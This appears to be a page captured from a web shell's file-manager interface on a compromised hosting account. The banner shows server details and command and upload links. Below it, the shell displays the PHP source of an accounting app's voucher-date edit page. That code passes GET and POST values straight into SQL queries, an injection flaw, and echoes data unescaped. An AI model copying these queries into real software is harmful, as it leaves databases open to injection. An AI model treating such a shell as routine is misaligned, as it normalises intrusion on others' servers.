Server IP : 2a02:4780:3:1493:0:3736:a38e:7 / Your IP : 216.73.216.139 Web Server : LiteSpeed System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64 User : u926327694 ( 926327694) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u926327694/domains/smsoft.in/public_html/demo/school_logos/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php // First we execute our common code to connection to the database and start the session // require("../common.php"); session_start(); // At the top of the page we check to see whether the user is logged in or not if(empty($_SESSION['user'])) { // If they are not, we redirect them to the login page. header("Location: ../index.php"); // Remember that this die statement is absolutely critical. Without it, // people can view your members-only content without logging in. die("Redirecting to ../index.php"); } // Everything below this point in the file is secured by the login system // We can display the user's username to them by reading it from the session array. Remember that because // a username is user submitted content we must use htmlentities on it before displaying it to the user. ?> <?php include "config/config.php"; $id=$_GET["id"]; $data_res=mysqli_query($con,"select * from `vochers` where `V_Id` = '$id'") or die(mysqli_error($con)); $data=mysqli_fetch_array($data_res); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content=""> <!-- Bootstrap Core CSS --> <title>E_Vi Accounts</title> <!-- Bootstrap Core CSS --> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <!-- MetisMenu CSS --> <link href="vendor/metisMenu/metisMenu.min.css" rel="stylesheet"> <!-- DataTables CSS --> <link href="vendor/datatables-plugins/dataTables.bootstrap.css" rel="stylesheet"> <!-- DataTables Responsive CSS --> <link href="vendor/datatables-responsive/dataTables.responsive.css" rel="stylesheet"> <!-- Custom CSS --> <link href="dist/css/sb-admin-2.css" rel="stylesheet"> <!-- Custom Fonts --> <link href="vendor/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css"> <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries --> <!-- WARNING: Respond.js doesn't work if you view the page via file:// --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script> <![endif]--> <style type="text/css"> /* The Modal (background) */ .modal { display: none; /* Hidden by default */ position: fixed; /* Stay in place */ z-index: 1; /* Sit on top */ left: 0; top: 0; width: 100%; /* Full width */ height: 100%; /* Full height */ overflow: auto; /* Enable scroll if needed */ background-color: rgb(0,0,0); /* Fallback color */ background-color: rgba(0,0,0,0.4); /* Black w/ opacity */ padding-top: 60px; } /* Modal Content/Box */ .modal-content { background-color: #fefefe; margin: 5% auto 15% auto; /* 5% from the top, 15% from the bottom and centered */ border: 1px solid #888; width: 80%; /* Could be more or less, depending on screen size */ } /* The Close Button (x) */ .close { position: absolute; right: 25px; top: 0; color: #000; font-size: 35px; font-weight: bold; } .close:hover, .close:focus { color: red; cursor: pointer; } /* Add Zoom Animation */ .animate { -webkit-animation: animatezoom 0.6s; animation: animatezoom 0.6s } @-webkit-keyframes animatezoom { from {-webkit-transform: scale(0)} to {-webkit-transform: scale(1)} } @keyframes animatezoom { from {transform: scale(0)} to {transform: scale(1)} } /* Change styles for span and cancel button on extra small screens */ @media screen and (max-width: 300px) { span.psw { display: block; float: none; } .cancelbtn { width: 100%; } } </style> </head> <body> <!-- Navigation --> <nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0"> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <h3 style="margin-left: 20px;margin-bottom: 20px;color: Red" href="#"><b><?php include "Name.txt"; ?></b></h3> </div> <!-- /.navbar-header --> <!-- /.navbar-top-links --> <?php include "header.php"; ?> <!-- /.navbar-static-side --> </nav> <div id="wrapper"> <div id="page-wrapper"> <br> <div class="tab-content"> <div class="tab-pane fade in active"> <div class="row"> <div class="col-lg-12"> <div class="panel panel-default"> <table width="100%" border="1"> <tr> <th>Date</th> <th>Vocher Type</th> <th>Cr Ledger</th> <th>Dr Ledger</th> <th>Amount</th> <th>Narration</th> </tr> <tr> <td><?php echo "$data[Date]"; ?></td> <td><?php echo "$data[Type]"; ?></td> <td><?php echo "$data[Cr_Ledger]"; ?></td> <td><?php echo "$data[Dr_Ledger]"; ?></td> <td><?php echo "$data[Cr_Amount]"; ?></td> <td><?php echo "$data[Nrtn]"; ?></td> </tr> </table> <div class="panel-heading"> <center> Bank Reconsalation Date</center> </div> <div class="panel-body"> <!-- Form Content Start --> <form role="form" action="" method="post"> <div class="col-lg-6"> <div class="form-group"> <label>Date</label> <input type="date" class="form-control" name="date" value="<?php echo $data['Date']; ?>"> </div> </div> <div class="col-lg-12"> <center> <button type="submit" class="btn btn-default">Submit Button</button></a> <button type="reset" class="btn btn-default">Reset Button</button> </center> </div> </form> <!-- Form Content Start --> </div> <!-- /.panel-body --> </div> <!-- /.panel --> </div> <!-- /.col-lg-12 --> </div> <!-- /.ROW --> </div> </div></div> </div> </div> <!-- /#wrapper --> <!-- jQuery --> <script src="vendor/jquery/jquery.min.js"></script> <!-- Bootstrap Core JavaScript --> <script src="vendor/bootstrap/js/bootstrap.min.js"></script> <!-- Metis Menu Plugin JavaScript --> <script src="vendor/metisMenu/metisMenu.min.js"></script> <!-- DataTables JavaScript --> <script src="vendor/datatables/js/jquery.dataTables.min.js"></script> <script src="vendor/datatables-plugins/dataTables.bootstrap.min.js"></script> <script src="vendor/datatables-responsive/dataTables.responsive.js"></script> <!-- Custom Theme JavaScript --> <script src="dist/js/sb-admin-2.js"></script> <!-- Page-Level Demo Scripts - Tables - Use for reference --> <?php if ($_SERVER['REQUEST_METHOD'] == 'POST') { mysqli_query($con,"UPDATE `vochers` SET `Date` = '$_POST[date]' WHERE `vochers`.`V_Id` = $id") or die(mysqli_error($con)); } ?> </body> </html>